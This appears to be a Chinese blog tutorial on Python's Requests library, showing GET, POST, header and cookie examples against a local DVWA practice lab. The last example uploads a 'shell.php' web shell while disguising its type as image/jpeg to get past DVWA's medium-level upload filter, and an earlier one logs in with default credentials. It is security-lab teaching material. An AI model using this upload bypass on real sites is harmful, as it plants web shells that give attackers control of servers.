Requests库
Requests库是Python中提供HTTP请求的库,基于urllib。
GET请求
import requests
resp = requests.get('http://baidu.com')
print(resp.text,resp.status_code)
requests库的请求方法返回一个<class 'requests.models.Response'>
类型的对象,可以通过``resp.text查看其中的文本内容,或者
resp.statu_code`查看返回的状态码。
POST请求
requests库可以用post
方法发送一个post请求。
import requests
datas = {
'username':'admin',
'password':'admin',
'Login':'Login'
}
resp = requests.post('http://192.168.68.134/dvwa/login.php',data=datas)
print(resp.text)
使用post
方法中的data
参数向请求中添加参数,添加的参数是一个字典。
Headers
Headers是Http的请求头,有的时候服务器可能会对请求头中的一些参数做一些限制,比如Cookies,User-Agent,可以通过以下方式修改:
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'
}
resp = requests.post('http://192.168.68.134/dvwa/login.php',headers = headers)
print(resp.text)
和post参数差不多,都是通过字典形式传入。
修改Cookies
修改Cookies就是在headers中添加一个Cookie
键值对。
import requests
# 目标路径
import requests
url = "http://192.168.68.134/dvwa/vulnerabilities/upload/#"
headers = {
"Referer":"http://192.168.44.136/dvwa/vulnerabilities/upload/",
"Cookie":"security=medium; PHPSESSID=17qqf7919hhi1jnor2n1rarn05; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada"
}
data = {
"MAX_FILE_SIZE":100000,
"Upload":"Upload"
}
files = {"uploaded" : ("shell.php",open("./shell.php", "r"),"image/jpeg",{})}
resp = requests.request("POST",url, headers=headers, data=data,files=files).text
print(resp)
网友评论